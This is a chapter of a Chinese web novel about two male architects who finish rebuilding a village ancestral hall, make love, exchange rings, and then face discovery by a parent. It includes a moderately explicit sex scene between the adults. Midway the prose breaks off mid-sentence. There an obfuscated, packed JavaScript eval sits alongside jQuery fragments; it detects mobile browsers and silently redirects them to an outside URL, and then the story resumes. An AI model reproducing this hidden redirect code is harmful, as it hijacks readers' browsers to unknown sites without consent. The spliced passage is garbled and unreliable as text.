40. 星光为证

作品:《时光赠礼

    祠堂主体完工那天,全村像过节。


    最后一根梁架上去时,杨师傅亲手敲下榫头。闷实的“咚”一声,在山谷里荡开回音。老人们抹眼泪,年轻人欢呼,孩子们在还没铺地砖的堂屋里跑来跑去。


    林溪设计的“星空天窗”成了最大亮点——不是简单的玻璃窗,而是一组可以手动开合的木质格栅,晴天打开,星光可以直接洒进祠堂;雨天闭合,传统的坡屋顶结构完好如初。


    “这个机关巧妙!”杨师傅研究着滑轮系统,“娃娃,你怎么想出来的?”


    林溪有点不好意思:“其实……是顾工给我讲他父亲笔记时受到的启发。顾伯伯记录过一种老式粮仓的通风装置,我改良了一下。”


    顾怀瑾站在人群外,静静看着林溪被村民围在中间,脸上是腼腆但自信的笑。阳光穿过天窗格栅,在他身上投下斑驳的光影。这一刻,顾怀瑾心里涌起难以言喻的骄傲——不是导师对学生的那种骄傲,是伴侣之间的,与有荣焉。


    晚饭是全村聚餐。临时搭起的灶台煮着大锅菜,每家每户拿出自己珍藏的腊肉、野菌、自酿米酒。阿山带头起哄:“顾工,林工,敬你们一杯!”


    顾怀瑾平时不喝酒,但这天破了例。米酒度数不高,但喝多了也上头。林溪看他耳根泛红,悄悄在桌下碰他的腿:“少喝点。”


    “高兴。”顾怀瑾侧过头,借着酒意凑近他耳边,气息温热,“我男朋友这么厉害,不能多喝两杯?”


    林溪的脸“唰”地红了。这是顾怀瑾第一次在公共场合——虽然是山村,虽然村民不一定懂——用“男朋友”称呼他。


    阿山眼尖:“顾工跟林工说啥悄悄话呢?林工脸都红啦!”


    满桌哄笑。顾怀瑾难得没绷着脸,笑着又干了半碗酒。林溪在桌下掐他大腿,被他反手握住,十指相扣,藏在桌布下面。


    酒至半酣,杨村长站起来,举着粗糙的土碗:“我代表云岭村,谢谢两位工程师。你们带来的不只是房子,是希望。”


    他顿了顿,声音有些哽咽:“泥石流后,好多年轻人说,这地方不能住了,要搬走。现在祠堂立起来了,他们又说,祖宗的根保住了,不搬了。”


    “顾工,林工,”老人看着他们,目光真挚,“以后,云岭村永远是你们的家。什么时候想回来,都有你们的屋,你们的床,你们的碗筷。”


    顾怀瑾站起来,林溪也跟着站起。三人碰碗,米酒洒出来一些,混着月光,亮晶晶的。


    ---


    酒席散后,两人沿着村边的小溪散步醒酒。


    月亮很圆,溪水泛着银光。顾怀瑾有点醉了,步子不太稳,林溪扶着他。走着走着,顾怀瑾忽然停下,转身抱住林溪。


    “怎么了?”林溪拍拍他的背。


    “林溪。”顾怀瑾把脸埋在他肩窝,声音闷闷的,“我今天特别高兴。”


    “看出来了。”


    “不是为项目高兴。”顾怀瑾抬起头,月光下,他的眼睛亮得惊人,“是为你高兴。你看,你现在完全可以独当一面了。”


    林溪心里一暖,嘴上却说:“那你是不是要失业了?”


    “失业就失业。”顾怀瑾居然顺着说,带着醉意耍赖,“你养我。”


    林溪笑了:“顾大建筑师,我可养不起。”


    “我很好养的。”顾怀瑾认真地说,“一天三顿饭,晚上有床睡,床上……有你就行。”


    最后三个字说得含糊,但林溪听清了。他耳朵发烫,推了推顾怀瑾:“你真是喝多了。”


    顾怀瑾不依,又抱上来,这次抱得更紧,还蹭了蹭林溪的颈侧:“没喝多,说的都是真心话。”


    林溪由他抱着,心里软成一滩水。谁能想到呢,那个在事务所一丝不苟、让人敬畏的顾怀瑾,喝醉了会是这个样子——黏人,撒娇,说直白的情话。


    “顾怀瑾。”林溪轻声叫他。


    “嗯?”


    “我也很高兴。”林溪说,“高兴能和你一起做这件事,高兴看到村民们脸上的笑,高兴……我是和你一起看的这些星光。”


    顾怀瑾抬起头,看着他。然后,慢慢地、珍重地吻下来。


    这个吻有米酒的甜,有山风的凉,有月光温柔的味道。他们在溪边吻了很久,久到林溪腿软,被顾怀瑾揽着腰才站稳。


    “回家。”顾怀瑾抵着他的额头说。


    “哪个家?”


    “有你的地方。”顾怀瑾牵起他的手,“走。”


    ---


    回到住处,顾怀瑾的酒醒了一半。但他没放开林溪的手,反而握得更紧。


    简陋的房间,一床一桌一椅,墙上贴着他们的设计草图。但对两人来说,这里已经是最像“家”的地方。


    顾怀瑾坐在床边,拉着林溪坐到自己腿上。这个姿势让林溪有点害羞——他比顾怀瑾矮半头,但骨架小,坐在对方怀里刚好被整个圈住。


    “今天累不累?”顾怀瑾问他,手自然地环着他的腰。


    “累,但值得。”林溪放松下来,靠在他胸口,“看到祠堂立起来的时候,突然明白了我爷爷常说的那句话——建筑是有生命的。”


    “嗯。”


    “它会长大,会变老,会承载一代又一代人的记忆。”林溪轻声说,“就像今晚,杨师傅说,等他孙子结婚,要在祠堂办酒席。到时候,我们的天窗下,会站着穿红衣服的新人。”


    顾怀瑾吻了吻他的发顶:“那我们也要来。”


    “来干嘛?”


    “喝喜酒。”顾怀瑾顿了顿,“然后告诉他们,这祠堂是我们俩一起设计的。很多很多年以后,可能我们都老了,不在了,但这扇天窗还会在,还会有人抬头看星星,想起有两个相爱的人,曾经在这里……”


    他没说完,但林溪懂了。


    “顾怀瑾。”林溪转身,跨坐在他腿上,面对面看着他,“我们会一直在一起,对吧?”


    这个问题问得突然,但顾怀瑾回答得毫不犹豫:“会。”


    “就算……我爸妈反对?就算以后有更多困难?”


    “会。”顾怀瑾捧住他的脸,目光坚定如磐石,“林溪,我这辈子认定的事,从没改变过。十二岁认定要学建筑,二十八岁认定要成为真正的建筑师,三十二岁……认定你。”


    林溪眼眶发热,低头吻他。这次吻得急切,像是要确认什么。顾怀瑾回应着,手臂收紧,将人更深地拥入怀中。


    屋内的气氛渐渐升温。顾怀瑾的手轻抚过林溪的后背,引来一阵细微的战栗。林溪的呼吸变得急促,手指不自觉地抓紧了顾怀瑾的衣襟。


    “可以吗?”顾怀瑾贴着他的唇轻声问,声音低沉而温柔。


    林溪红着脸点头,主动加深了这个吻。顾怀瑾便不再克制,就着这个姿势将人放倒在床上,随即覆身上去。


    细密的吻落在林溪的额头、眉眼、鼻尖,最后停留在唇上,温柔而缠绵。顾怀瑾的手掌贴着林溪的腰侧,隔着薄薄的衣料传递着体温。


    “你真美。”他在林溪耳边低语,温热的气息让林溪浑身一颤。


    林溪的脸在月光下泛着红晕,眼中蒙着一层水光。顾怀瑾凝视着他,那双总是冷静的眼眸此刻盛满了毫不掩饰的爱意与珍视。


    他们之间的衣物在亲吻中渐渐褪去,肌肤相贴时,两人都轻轻吸了口气。顾怀瑾的动作很慢,每一个触碰都小心翼翼,像是在对待稀世珍宝。


    “冷吗?”他轻声问,将林溪更紧地拥入怀中。


    林溪摇摇头,主动环上他的脖颈,献上一个更深的吻。这个吻带着承诺的重量,也带着交付的信任。


    顾怀瑾用唇描摹着林溪的轮廓,从眉梢到唇角,从脖颈到锁骨。林溪的手指插入他的发间,感受着他发丝的柔软。月光透过窗纸洒进来,为两人镀上一层银白的光晕。


    当一切准备就绪,顾怀瑾抵住他,却没有立刻继续:“疼就告诉我。”


    林溪点点头,主动吻上他的唇,用行动表达了邀请。


    接下来的时间里,两人在亲密的交融中交换着无声的誓言。顾怀瑾的动作温柔而坚定,时刻关注着林溪的反应。每一次皱眉都会换来更轻柔的对待,每一声低吟都会得到温柔的回应。


    林溪的眼眸在情动中泛着水光,顾怀瑾在那双眼睛里看到了完整的自己——不再是那个完美却孤独的建筑师,而是一个会爱、会被爱、会脆弱的普通人。


    节奏逐渐加快,却又在某个临界点刻意放缓。顾怀瑾像是在用这种方式延长这个时刻,让每一次触碰、每一次深入都留下更深的印记。


    林溪的声音终于从压抑的呜咽变成了破碎的呻吟,手指在顾怀瑾背上留下浅浅的痕迹。顾怀瑾俯身吻去他眼角的泪,动作却愈发深入而有力。


    最后的时刻来临时,顾怀瑾紧紧拥住林溪,两人同时达到了顶点。那一瞬间,星光仿佛穿透屋顶,照亮了彼此眼底最真实的模样。


    平静下来后,顾怀瑾没有立刻离开,而是就着这个姿势抱着林溪,额头相抵,呼吸交融。


    “重……”林溪小声抱怨,却没推开。


    “一会儿。”顾怀瑾耍赖,“就想这样待着。”


    林溪由他去。他能感觉到,此刻的顾怀瑾格外脆弱,格外需要亲密接触来确认什么。也许是酒劲未散,也许是今天的情绪太满,也许……只是单纯想他。


    “顾怀瑾。”林溪轻声唤他。


    “嗯?”


    “我们会结婚吗?”林溪问,“像杨师傅孙子那样,办个婚礼。”


    顾怀瑾身


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17193512|197102||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    体僵了一下,然后慢慢退出来,把林溪转过来面对面:“你想结婚?”


    “想。”林溪说,“想和你有个正式的承诺。不一定要法律承认——我知道现在国内还不允许——但我们可以有自己的仪式。在祠堂的天窗下,让星星作证。”


    顾怀瑾看了他很久,久到林溪以为他不愿意。


    然后,顾怀瑾起身,从行李箱夹层里拿出一个小盒子。深蓝色丝绒,已经有些旧了。


    “这是什么?”林溪坐起来。


    顾怀瑾打开盒子。里面是两枚素圈戒指,简单的铂金材质,没有任何花纹。


    “这是我妈留下的。”顾怀瑾声音很低,“她和我爸的结婚戒指。妈走之前,把她的那枚给了我,说‘以后给你爱的人’。爸的那枚,在他去世后,姐姐给了我。”


    他把稍小的那枚取出来,拉过林溪的手,却没有立刻戴上:“这是我父母爱情的见证。他们相守二十年,虽然时间不长,但每一天都爱得认真。”


    林溪的手指在颤抖。


    “林溪,”顾怀瑾看着他,眼眶泛红,“我不敢说我能像我爸爱我妈那样爱你——因为我觉得,没有人能超越那种爱。但我能保证的是:我会用我全部的生命来爱你,珍惜你,陪你走完这一生。”


    他深吸一口气:“你愿意……接受这枚戒指吗?不是求婚——我们现在还不能合法结婚。只是一个承诺:我愿意把我父母爱情的延续,交到你手里。”


    林溪的眼泪掉下来,砸在戒指上。他点头,说不出话,只是用力点头。


    顾怀瑾把戒指戴在他左手无名指上。尺寸刚好——他偷偷量过林溪的手指,在北京时找人重新改了尺寸。


    林溪拿起另一枚戒指,给顾怀瑾戴上。两枚素圈在月光下泛着温润的光,朴素,却沉甸甸的。


    “等以后,”顾怀瑾握着他的手,“我们可以设计属于我们自己的戒指。但这个,我想一直留着——这是我父母给我们的祝福。”


    林溪扑进他怀里,哭得说不出话。顾怀瑾抱着他,轻轻拍他的背,像哄孩子。


    “不哭了。”顾怀瑾吻他的眼泪,“以后的日子还长,我们要笑着过。”


    那一夜,他们相拥而眠,戴着对戒的手始终交握。窗外的星光透过天窗,洒在两人身上,温柔如许。


    ---


    第二天清晨,林溪是被手机铃声吵醒的。


    他迷迷糊糊摸到手机,看见来电显示——“妈妈”。瞬间清醒了。


    顾怀瑾也醒了,看他脸色不对,轻声问:“谁?”


    “我妈。”林溪深吸一口气,接起电话,“喂,妈?”


    电话那头沉默了几秒,然后林母的声音响起,带着压抑的情绪:“小溪,你现在在哪儿?”


    “在云南,云岭村,我之前跟您说过的那个重建项目……”


    “你旁边是不是有人?”林母打断他。


    林溪看向顾怀瑾,对方点点头,示意他实话实说。


    “是。”林溪握紧顾怀瑾的手,“顾怀瑾在。”


    电话那头传来压抑的抽泣声。林溪的心揪紧了:“妈,您怎么了?出什么事了?”


    “我和你爸……在你宿舍。”林母的声音颤抖,“我们想给你送点东西,宿管阿姨说……你很久没回来住了。我们逼问了你室友……”


    林溪脸色煞白。他和顾怀瑾同居的事,一直没敢告诉父母。


    “妈,您听我解释……”


    “不用解释了。”这次是林父的声音,低沉,压抑着怒火,“你现在立刻回来。那个顾怀瑾……也一起。”


    电话挂了。


    林溪握着手机,手在抖。顾怀瑾把他抱进怀里,轻吻他的额头:“不怕,我在。”


    “他们知道了……”林溪声音发颤,“我爸听起来很生气……”


    “该来的总会来。”顾怀瑾很平静,“我们不是说好了吗?一起面对。”


    他起身开始收拾行李:“项目主体已经完工,剩下收尾工作杨村长他们能处理。我们今天就回北京。”


    林溪看着他沉稳的样子,慢慢镇定下来。是啊,他们在一起,戒指都戴上了,还有什么好怕的?


    “顾怀瑾。”林溪叫他。


    “嗯?”


    “我爱你。”林溪说,“不管发生什么,我都爱你。”


    顾怀瑾转身,深深看他一眼,然后走过来,给了他一个结实的拥抱。


    “我也爱你。”他说,“所以,别怕。我们的爱情,经得起任何考验。”


    窗外,晨光初现。云岭村在晨曦中苏醒,祠堂的天窗反射着第一缕阳光,像一颗落在大地上的星星。


    而戴着对戒的两个人,即将踏上回家的路,去面对他们爱情中的第一场正式风雨。